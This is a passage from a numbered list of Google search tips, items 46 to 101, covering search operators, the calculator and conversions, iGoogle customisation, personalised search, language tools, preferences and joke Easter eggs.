46. For a dedicated film search page, go to www.google.co.uk/movies

47. If you ticked "Remember this Location" when you searched for show
times, the next time you can enter the name of a current film instead.

48. Google really likes movies. Try typing director: The Dark Knight
into the main search box.

49. For cast lists, try cast: name_of_film

50. The modifier music: followed by a band, song or album returns music reviews.

51. Try searching for weather London – you'll get a full 4-day forecast.

52. There's also a built-in dictionary. Try define:<word> in the search box.

53. Google stores the content of old sites. You can search this cache
direct with the syntax keyword cache:site_url

54. Alternatively, enter cache:site_url into Google's search box to be
taken direct to the stored site.

55. No calculator handy? Use Google's built in features. Try typing
12*15 and hitting "Google Search".

56. Google's calculator converts measurements and understands natural
language. Type in 14 stones in kilos, for example.

57. It does currency conversion too. Try 200 pounds in euros

58. If you know the currency code you can type 200 GBP in EUR instead
for more reliable results.

59. And temperature! Just type: 98 f to c to convert Fahrenheit to Centigrade.

60. Want to know how clever Google really is? Type 2476 in roman
numerals, then hit "Google Search"...

61. You can personalise your Google experience by creating a Google
account. Go to www.google.com/account/ then click "Create Account".

62. With a Google account there are lots more extras available. You'll
get a free Gmail email account for one...

63. With your Google account, you can also personalise your front
page. Click "iGoogle" to add blog and site feeds.

64. Click "Add a Tab" in iGoogle to add custom tabs. Google
automatically populates them with suitable site suggestions.

65. iGoogle allows you to theme your page too. Click "Select Theme" to
change the default look.

66. Some iGoogle themes change with time..."Sweet Dreams" is a theme
that turns from day to night as you browse.

67. Click "More" under "Try something new" to access a full list of
Google sites and new features.

68. "Custom Search" enables you to create a branded Google search for
your own site.

69. An active, useful service missing from the list is "Personalised
Search" – but you can access it via www.google.com/psearch when you're
logged in.

70. This page lists searches you have recently made – and is divided
into categories. Clicking "pause" stops Google from recording your
history.

71. Click "Trends" to see the sites you visit most, the terms you
enter most often and links you've clicked on!

72. Personalised Search also includes a bookmark facility – which
enables you to save bookmarks online and access them from anywhere.

73. You can add bookmarks or access your bookmarks using the iGoogle
Bookmarks gadget.

74. Did you know you can search within your returned results? Scroll
down to the bottom of the search results page to find the link.

75. Search locally by appending your postcode to the end of query. For
example Indian food BA1 2BW finds restaurants in Bath, with addresses
and phone numbers!

76. Looking for a map? Just add map to the end of your query, like
this: Leeds map

77. Google finds images just as easily and lists them at the top, when
you add image to the end of your search.

78. Google Image Search recognises faces... add &imgtype=face to the
end of the returned URL in the location bar, then hit enter to filter
out pictures that aren't people.

79. Keeping an eye on stocks? Type stocks: followed by market ticker
for the company and Google returns the data from Google Finance.

80. Enter the carrier and flight number in Google's main search box to
return flight tracking information.

81. What time is it? Find out anywhere by typing time then the name of a place.

82. You may have noticed Google suggests alternate spellings for
search terms – that's the built in spell checker!

83. You can invoke the spell checker directly by using spell: followed
by your keyword.

84. Click "I'm Feeling Lucky" to be taken straight to the first page
Google finds for your keyword.

85. Enter a statistics-based query like population of Britain into
Google, and it will show you the answer at the top of its results.

86. If your search has none-English results, click "Translate this
Page" to see it in English.

87. You can search foreign sites specifically by clicking "Language
Tools", then choosing which countries sites to translate your query
to.

88. Other features on the language tools page include a translator for
blocks of text you can type or cut and paste.

89. There's also a box that you can enter a direct URL into,
translating to the chosen language.

90. Near the language tools link, you'll see the "Search Preferences".
This handy page is full of secret functionality.

91. You can specify which languages Google returns results in, ticking
as many (or few) boxes as you like.

92. Google's Safe Search protects you from explicit sexual content.
You can choose to filter results more stringently or switch it off
completely.

93. Google's default of 10 results a page can be increased to up to
100 in Search Preferences, too.

94. You can also set Google to open your search results in a new window.

95. Want to see what others are searching for or improve your page
rank? Go to www.google.com/zeitgeist

96. Another useful, experimental search can be found at
www.google.com/trends – where you can find the hottest search terms.

97. To compare the performance of two or more terms, enter them into
the trends search box separated by commas.

98. Fancy searching Google in Klingon? Go to www.google.com/intl/xx-klingon

99. Perhaps the Swedish chef from the muppets is your role model
instead? Check www.google.com/intl/xx-bork

100. Type answer to life, the universe and everything into Google. You
may be surprised by the result...

101. It will also tell you the number of horns on a unicorn